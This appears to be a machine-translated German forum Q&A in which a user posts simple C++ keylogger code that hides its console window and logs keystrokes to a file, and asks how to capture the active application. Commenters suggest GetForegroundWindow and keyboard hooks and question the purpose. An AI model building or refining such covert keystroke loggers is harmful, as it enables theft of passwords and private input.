C++ einfache keylogger

Ich bin versucht, zu schreiben eine einfache keylogger in C++ mit WinAPI. Gibt es eine Möglichkeit zu bekommen, in welcher Anwendung der Benutzer ist die Eingabe der erfassten Tastendrücke?
Und hier ist mein code bisher:

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    char i;

while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
        {
            FILE *OUTPUT_FILE;
            OUTPUT_FILE = fopen("LOG.txt", "a+");
            int c=static_cast<int>(i);
            fprintf(OUTPUT_FILE, "%s", &c);
            fclose (OUTPUT_FILE);
        }
    }
}
system ("PAUSE");
return 0;
}
  • Es gibt immer GetForegroundWindow.
  • Warum machen Sie den computer öffnen und schließen Sie die gleiche Datei-182 mal in einer Reihe, so schnell wie möglich?
  • By the way, der richtige Weg, um zu überprüfen, ob eine Taste unten rechts ist jetzt GetAsyncKeyState(i) & 0x8000.
  • Verwenden Sie einen Tastatur-hook über SetWindowsHookEx() zu überwachen, Tastatur-Aktivität, nicht GetAsyncKeyState() in einer Schleife.
  • Herzlichen Glückwunsch. Sie schrieb gerade die meiste CPU verbrauchen, Programm, das jemals.
  • Nein, es nutzt nur einen thread, so wird es bei den meisten nur ein Kern - und tut es-Datei-I/O, so dass wohl einige system-calls, sperren und so in es zu verlangsamen...
  • Das habe ich schon, die für Spaß, wenn ich etwas zu einem anderen Prozess alle CPU.
  • Warum schreibst du einen keylogger? Vielleicht gibt es einen besseren Weg, um Ihr problem zu lösen, als etwas zu tun, wird wahrscheinlich dazu führen, dass Ihr Programm als malware erkannt werden.

InformationsquelleAutor | 2013-03-13
Schreibe einen Kommentar